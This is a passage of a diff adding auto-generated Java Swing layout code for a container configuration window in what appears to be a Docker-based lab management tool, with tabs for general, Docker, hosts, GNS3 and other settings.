javax.swing.JLabel(); + MountTextfield1 = new javax.swing.JTextField(); + MountTextfield2 = new javax.swing.JTextField(); + TapRadioButton = new javax.swing.JRadioButton(); + WaitForTextField = new javax.swing.JTextField(); + NumCPUTextField = new javax.swing.JTextField(); + CPUSetTextField = new javax.swing.JTextField(); + NoParamCheckbox = new javax.swing.JCheckBox(); + ContainerConfigUpdateButton = new javax.swing.JButton(); + ContainerConfigCancelButton = new javax.swing.JButton(); + jMenuBar1 = new javax.swing.JMenuBar(); + editMenuBar = new javax.swing.JMenu(); + editDockerMenuItem = new javax.swing.JMenuItem(); + fixlocalMenuItem = new javax.swing.JMenuItem(); + treataslocalMenuItem = new javax.swing.JMenuItem(); + openShellMenu = new javax.swing.JMenuItem(); + precheckMenuItem = new javax.swing.JMenuItem(); + ContainerRightClick = new javax.swing.JPopupMenu(); + editMenu = new javax.swing.JMenu(); + editDockerMenuItem1 = new javax.swing.JMenuItem(); + fixlocalMenuItem1 = new javax.swing.JMenuItem(); + treataslocalMenuItem1 = new javax.swing.JMenuItem(); + precheckMenuItem1 = new javax.swing.JMenuItem(); + openShellMenuItem = new javax.swing.JMenuItem(); + renameContainerOption = new javax.swing.JMenuItem(); + jSeparator1 = new javax.swing.JPopupMenu.Separator(); + deleteContainerOption = new javax.swing.JMenuItem(); + copyContainerMenuItem = new javax.swing.JMenuItem(); + ContainerLabelName = new javax.swing.JLabel(); + RenameContainerTextfield = new javax.swing.JTextField(); + + ContainerConfigWindow.setTitle("Container Configuration: "); + ContainerConfigWindow.setMinimumSize(new java.awt.Dimension(601, 700)); + ContainerConfigWindow.setResizable(false); + ContainerConfigWindow.addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + ContainerConfigWindowWindowClosing(evt); + } + }); + + containerTabPane.setBorder(javax.swing.BorderFactory.createEtchedBorder()); + + UserTF.setFont(new java.awt.Font("Arial", 0, 18)); // NOI18N + UserTF.setText("ubuntu"); + UserTF.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "User name", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + + PasswordTF.setFont(new java.awt.Font("Arial", 0, 18)); // NOI18N + PasswordTF.setToolTipText("Defaults to user name."); + PasswordTF.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Password", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + PasswordTF.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + PasswordTFActionPerformed(evt); + } + }); + + TerminalQuantitySpinner.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + TerminalQuantitySpinner.setModel(new javax.swing.SpinnerNumberModel(1, -1, null, 1)); + TerminalQuantitySpinner.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Terminal quantity", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + + TerminalGroupTextfield.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N + TerminalGroupTextfield.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Terminal group", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + + LabGatewayTextfield.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + LabGatewayTextfield.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Lab Gateway", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + + NoGWCheckbox.setFont(new java.awt.Font("Dialog", 1, 14)); // NOI18N + NoGWCheckbox.setText("No external gateway"); + + X11Checkbox.setFont(new java.awt.Font("Dialog", 1, 14)); // NOI18N + X11Checkbox.setText("X11 enabled"); + + ContainerConfigNetworksAddButton.setText("Add"); + ContainerConfigNetworksAddButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerConfigNetworksAddButtonActionPerformed(evt); + } + }); + + ContainerConfigNetworksScrollpane.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Networks", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + ContainerConfigNetworksScrollpane.setMaximumSize(new java.awt.Dimension(541, 32767)); + ContainerConfigNetworksScrollpane.setMinimumSize(new java.awt.Dimension(541, 136)); + ContainerConfigNetworksScrollpane.setPreferredSize(new java.awt.Dimension(541, 136)); + + ContainerConfigNetworksPanel.setMaximumSize(new java.awt.Dimension(541, 32767)); + ContainerConfigNetworksPanel.setMinimumSize(new java.awt.Dimension(0, 0)); + ContainerConfigNetworksPanel.setPreferredSize(new java.awt.Dimension(0, 0)); + ContainerConfigNetworksScrollpane.setViewportView(ContainerConfigNetworksPanel); + + containerLabel.setFont(new java.awt.Font("Ubuntu", 1, 18)); // NOI18N + containerLabel.setText("jLabel6"); + + NoResolveCheckbox.setFont(new java.awt.Font("Dialog", 1, 14)); // NOI18N + NoResolveCheckbox.setText("No resolv.conf server"); + NoResolveCheckbox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NoResolveCheckboxActionPerformed(evt); + } + }); + + ResolvConfTextfield.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + ResolvConfTextfield.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "nameserver", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 14))); // NOI18N + + javax.swing.GroupLayout ContainerConfigGeneralTabLayout = new javax.swing.GroupLayout(ContainerConfigGeneralTab); + ContainerConfigGeneralTab.setLayout(ContainerConfigGeneralTabLayout); + ContainerConfigGeneralTabLayout.setHorizontalGroup( + ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addContainerGap() + .addGroup(ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addComponent(containerLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addContainerGap()) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addComponent(ContainerConfigNetworksAddButton) + .addGap(0, 0, Short.MAX_VALUE)) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addGroup(ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(UserTF, javax.swing.GroupLayout.PREFERRED_SIZE, 209, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(PasswordTF, javax.swing.GroupLayout.PREFERRED_SIZE, 209, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ResolvConfTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 244, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(LabGatewayTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 244, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addGap(91, 91, 91) + .addGroup(ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(TerminalQuantitySpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 186, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(TerminalGroupTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, ContainerConfigGeneralTabLayout.createSequentialGroup() + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(NoGWCheckbox, javax.swing.GroupLayout.PREFERRED_SIZE, 217, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(X11Checkbox, javax.swing.GroupLayout.PREFERRED_SIZE, 200, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(NoResolveCheckbox)) + .addGap(22, 22, 22)))) + .addComponent(ContainerConfigNetworksScrollpane, javax.swing.GroupLayout.DEFAULT_SIZE, 560, Short.MAX_VALUE))) + ); + ContainerConfigGeneralTabLayout.setVerticalGroup( + ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addGroup(ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addComponent(containerLabel) + .addGap(18, 18, 18) + .addGroup(ContainerConfigGeneralTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addComponent(TerminalQuantitySpinner, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(TerminalGroupTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 65, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addComponent(UserTF, javax.swing.GroupLayout.PREFERRED_SIZE, 54, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(PasswordTF, javax.swing.GroupLayout.PREFERRED_SIZE, 53, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(14, 14, 14) + .addComponent(LabGatewayTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(ResolvConfTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerConfigGeneralTabLayout.createSequentialGroup() + .addComponent(X11Checkbox) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NoGWCheckbox, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NoResolveCheckbox))) + .addGap(35, 35, 35) + .addComponent(ContainerConfigNetworksAddButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(ContainerConfigNetworksScrollpane, javax.swing.GroupLayout.DEFAULT_SIZE, 200, Short.MAX_VALUE)) + ); + + containerTabPane.addTab("General ", ContainerConfigGeneralTab); + + jLabel2.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel2.setText("Base Registry:"); + + jLabel3.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel3.setText("Registry:"); + + jLabel4.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel4.setText("No Privilege:"); + + jLabel5.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel5.setText("Publish:"); + jLabel5.setToolTipText("Optional arguments to the Docker --publish argument for
\nmaking container ports visible at the host interface. For example, a value of
\n127.0.0.1:60022:22/tcp
\nwill bind host port 60022 to container port 22."); + + RegistryTextfield.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + PublishTextfield.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + BaseRegistryTextfield.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + EditDockerfileButton.setText("Edit Dockerfile"); + EditDockerfileButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + EditDockerfileButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout ContainerConfigDockerTabLayout = new javax.swing.GroupLayout(ContainerConfigDockerTab); + ContainerConfigDockerTab.setLayout(ContainerConfigDockerTabLayout); + ContainerConfigDockerTabLayout.setHorizontalGroup( + ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigDockerTabLayout.createSequentialGroup() + .addGap(25, 25, 25) + .addGroup(ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel4) + .addComponent(jLabel2) + .addComponent(jLabel3) + .addComponent(jLabel5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigDockerTabLayout.createSequentialGroup() + .addGap(0, 0, Short.MAX_VALUE) + .addComponent(EditDockerfileButton)) + .addGroup(ContainerConfigDockerTabLayout.createSequentialGroup() + .addGroup(ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(PublishTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 188, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(BaseRegistryTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 188, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(RegistryTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 188, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(NoPrivilegeCheckbox)) + .addGap(0, 221, Short.MAX_VALUE))) + .addContainerGap()) + ); + ContainerConfigDockerTabLayout.setVerticalGroup( + ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigDockerTabLayout.createSequentialGroup() + .addGap(24, 24, 24) + .addComponent(EditDockerfileButton) + .addGap(14, 14, 14) + .addGroup(ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(RegistryTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel3)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(BaseRegistryTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel2)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(PublishTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel5)) + .addGap(18, 18, 18) + .addGroup(ContainerConfigDockerTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel4) + .addComponent(NoPrivilegeCheckbox)) + .addContainerGap(338, Short.MAX_VALUE)) + ); + + containerTabPane.addTab("Docker", ContainerConfigDockerTab); + + AddHostsScrollPane.setMaximumSize(new java.awt.Dimension(548, 32767)); + AddHostsScrollPane.setMinimumSize(new java.awt.Dimension(548, 19)); + AddHostsScrollPane.setPreferredSize(new java.awt.Dimension(548, 100)); + + AddHostsSubPanel.setMaximumSize(new java.awt.Dimension(0, 0)); + AddHostsSubPanel.setMinimumSize(new java.awt.Dimension(0, 0)); + AddHostsSubPanel.setPreferredSize(new java.awt.Dimension(0, 0)); + AddHostsScrollPane.setViewportView(AddHostsSubPanel); + + AddHostLabel3.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + AddHostLabel3.setText("Add-Hosts:"); + + ContainerConfigAddHostIPButton.setText("Add Host:IP"); + ContainerConfigAddHostIPButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerConfigAddHostIPButtonActionPerformed(evt); + } + }); + + ContainerConfigAddHostNetworkButton.setText("Add Network"); + ContainerConfigAddHostNetworkButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerConfigAddHostNetworkButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout ContainerConfigNetworkTabLayout = new javax.swing.GroupLayout(ContainerConfigNetworkTab); + ContainerConfigNetworkTab.setLayout(ContainerConfigNetworkTabLayout); + ContainerConfigNetworkTabLayout.setHorizontalGroup( + ContainerConfigNetworkTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigNetworkTabLayout.createSequentialGroup() + .addContainerGap() + .addGroup(ContainerConfigNetworkTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(AddHostsScrollPane, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(ContainerConfigNetworkTabLayout.createSequentialGroup() + .addComponent(AddHostLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ContainerConfigAddHostIPButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ContainerConfigAddHostNetworkButton) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + ContainerConfigNetworkTabLayout.setVerticalGroup( + ContainerConfigNetworkTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, ContainerConfigNetworkTabLayout.createSequentialGroup() + .addGap(15, 15, 15) + .addGroup(ContainerConfigNetworkTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(AddHostLabel3) + .addComponent(ContainerConfigAddHostIPButton) + .addComponent(ContainerConfigAddHostNetworkButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(AddHostsScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 505, Short.MAX_VALUE) + .addContainerGap()) + ); + + containerTabPane.addTab("Hosts", ContainerConfigNetworkTab); + + ThumbVolumeLabel.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + ThumbVolumeLabel.setText("Thumb Volume:"); + + HideLabel.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + HideLabel.setText("Hide:"); + + ThumbCommandLabel.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + ThumbCommandLabel.setText("Thumb Command:"); + + ThumbStopLabel.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + ThumbStopLabel.setText("Thumb Stop:"); + + javax.swing.GroupLayout ContainerConfigGNS3TabLayout = new javax.swing.GroupLayout(ContainerConfigGNS3Tab); + ContainerConfigGNS3Tab.setLayout(ContainerConfigGNS3TabLayout); + ContainerConfigGNS3TabLayout.setHorizontalGroup( + ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigGNS3TabLayout.createSequentialGroup() + .addContainerGap() + .addGroup(ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(ThumbStopLabel) + .addComponent(ThumbCommandLabel) + .addComponent(ThumbVolumeLabel) + .addComponent(HideLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(ThumbStopTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ThumbVolumeTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ThumbCommandTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(HideCheckbox)) + .addContainerGap(216, Short.MAX_VALUE)) + ); + ContainerConfigGNS3TabLayout.setVerticalGroup( + ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigGNS3TabLayout.createSequentialGroup() + .addGap(21, 21, 21) + .addGroup(ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ThumbVolumeTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ThumbVolumeLabel)) + .addGap(18, 18, 18) + .addGroup(ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ThumbCommandTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ThumbCommandLabel)) + .addGap(18, 18, 18) + .addGroup(ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ThumbStopTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ThumbStopLabel)) + .addGap(18, 18, 18) + .addGroup(ContainerConfigGNS3TabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(HideLabel) + .addComponent(HideCheckbox)) + .addContainerGap(373, Short.MAX_VALUE)) + ); + + containerTabPane.addTab("GNS3", ContainerConfigGNS3Tab); + + jLabel8.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel8.setText("Xterm:"); + + jLabel10.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel10.setText("# of Clones:"); + + jLabel11.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel11.setText("No Pull:"); + + jLabel12.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel12.setText("My Stuff:"); + + XtermTitleTextfield.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + XtermScriptTextfield.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + ClonesSpinner.setModel(new javax.swing.SpinnerNumberModel(0, 0, null, 1)); + ClonesSpinner.setMinimumSize(new java.awt.Dimension(45, 20)); + ClonesSpinner.setPreferredSize(new java.awt.Dimension(45, 20)); + + jLabel13.setFont(new java.awt.Font("Arial", 1, 14)); // NOI18N + jLabel13.setText("Mount:"); + + MountTextfield1.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + MountTextfield2.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + TapRadioButton.setFont(new java.awt.Font("Ubuntu", 1, 15)); // NOI18N + TapRadioButton.setText("Tap"); + + WaitForTextField.setBorder(javax.swing.BorderFactory.createTitledBorder("Wait for")); + + NumCPUTextField.setBorder(javax.swing.BorderFactory.createTitledBorder("Num CPUs")); + + CPUSetTextField.setBorder(javax.swing.BorderFactory.createTitledBorder("CPU Set")); + + NoParamCheckbox.setText("No Parameterize"); + NoParamCheckbox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NoParamCheckboxActionPerformed(evt); + } + }); + + javax.swing.GroupLayout ContainerConfigOtherTabLayout = new javax.swing.GroupLayout(ContainerConfigOtherTab); + ContainerConfigOtherTab.setLayout(ContainerConfigOtherTabLayout); + ContainerConfigOtherTabLayout.setHorizontalGroup( + ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addContainerGap() + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addComponent(jLabel8) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(XtermTitleTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(XtermScriptTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addComponent(jLabel10) + .addGap(4, 4, 4) + .addComponent(ClonesSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(TapRadioButton) + .addComponent(NoParamCheckbox)) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addGap(110, 110, 110) + .addComponent(NoPullCheckbox) + .addGap(18, 18, 18) + .addComponent(jLabel12) + .addGap(6, 6, 6) + .addComponent(MyStuffCheckbox)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, ContainerConfigOtherTabLayout.createSequentialGroup() + .addGap(46, 46, 46) + .addComponent(WaitForTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 153, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(98, 98, 98)))) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addComponent(NumCPUTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 160, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(28, 28, 28) + .addComponent(CPUSetTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 158, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel11) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addComponent(jLabel13) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(MountTextfield1, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(MountTextfield2, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addContainerGap(103, Short.MAX_VALUE)) + ); + ContainerConfigOtherTabLayout.setVerticalGroup( + ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addGap(18, 18, 18) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel8) + .addComponent(XtermTitleTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(XtermScriptTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel13) + .addComponent(MountTextfield1, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(MountTextfield2, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addGap(18, 18, 18) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(MyStuffCheckbox, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(NoPullCheckbox, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel10) + .addComponent(ClonesSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 34, 